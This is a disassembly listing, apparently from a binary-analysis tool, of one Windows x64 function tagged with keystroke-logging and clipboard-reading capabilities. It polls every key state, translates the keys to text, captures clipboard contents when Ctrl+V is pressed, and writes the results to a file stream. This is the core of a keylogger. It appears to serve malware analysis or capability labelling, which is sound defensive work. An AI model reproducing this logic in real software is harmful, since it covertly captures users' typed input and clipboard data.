Function at 0x140002480
Capabilities:
Hash data using fnv
Log keystrokes via polling
Open clipboard
Read clipboard data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x260
mov rax, qword [0x140009010]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rsi, rcx
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x30]
call fcn.1400031e0
nop
movzx edx, byte [rsi]
movabs rax, 0xcbf29ce484222325
xor rdx, rax
movabs rcx, 0x100000001b3
imul rdx, rcx
movzx eax, byte [rsi + 1]
xor rdx, rax
imul rdx, rcx
movzx eax, byte [rsi + 2]
xor rdx, rax
imul rdx, rcx
movzx eax, byte [rsi + 3]
xor rdx, rax
imul rdx, rcx
mov r10, qword [0x140009960]
and r10, rdx
shl r10, 4
add r10, qword [0x140009948]
mov rax, qword [r10 + 8]
mov rcx, rax
xor r14d, r14d
mov r9, qword [0x140009938]
cmp rax, r9
je 0x140002550
mov r8, qword [r10]
mov edx, dword [rsi]
cmp edx, dword [rax + 0x10]
je 0x140002553
nop dword [rax + rax]
cmp rcx, r8
je 0x140002550
mov rcx, qword [rcx + 8]
cmp edx, dword [rcx + 0x10]
jne 0x140002540
jmp 0x140002553
mov rcx, r14
test rcx, rcx
je 0x1400025ae
cmp rcx, r9
je 0x1400025ae
cmp rax, r9
je 0x1400025a0
mov rdx, qword [r10]
mov ecx, dword [rsi]
cmp ecx, dword [rax + 0x10]
je 0x14000257e
nop dword [rax]
cmp rax, rdx
je 0x1400025a0
mov rax, qword [rax + 8]
cmp ecx, dword [rax + 0x10]
jne 0x140002570
lea rdx, [rax + 0x18]
cmp qword [rax + 0x30], 8
jb 0x14000258d
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x28]
lea rcx, [rsp + 0x30]
call fcn.140003c50
jmp 0x1400026db
lea rcx, str.invalid_unordered_map_K__T__key
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetKeyState]
mov ebx, 0xffff8000
test bx, ax
jne 0x14000265f
mov ecx, 0xa3
call qword [sym.imp.USER32.dll_GetKeyState]
test bx, ax
jne 0x14000265f
mov ecx, 0xa2
call qword [sym.imp.USER32.dll_GetKeyState]
test bx, ax
jne 0x14000265f
movzx ebx, r14w
lea rdi, [rsp + 0x150]
mov ebp, 0x100
nop dword [rax]
movzx ecx, bx
call qword [sym.imp.USER32.dll_GetKeyState]
movzx edx, ax
sar dx, 8
or dl, al
mov byte [rdi], dl
inc bx
lea rdi, [rdi + 1]
cmp bx, bp
jb 0x140002600
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x140]
lea r8, [rsp + 0x150]
mov edx, dword [rsi + 4]
mov ecx, dword [rsi]
call qword [sym.imp.USER32.dll_ToUnicode]
test eax, eax
jle 0x1400026db
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x30]
jmp 0x1400026d5
mov ebx, dword [rsi]
cmp ebx, 0x56
jne 0x1400026af
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400026db
lea ecx, [rbx - 0x49]
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
test rax, rax
je 0x1400026a7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14000269e
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.1400035b0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x1400026db
lea rdx, str._CTRL_
lea rcx, [rsp + 0x30]
call fcn.1400035b0
mov rcx, rax
movzx edx, bx
call fcn.140003780
mov rcx, rax
lea rdx, [0x140006610]
call fcn.1400035b0
nop
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rsp + rcx + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2c], edx
lea rcx, [rsp + 0x38]
call fcn.140003100
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rsp + 0xd8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140003ee0
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret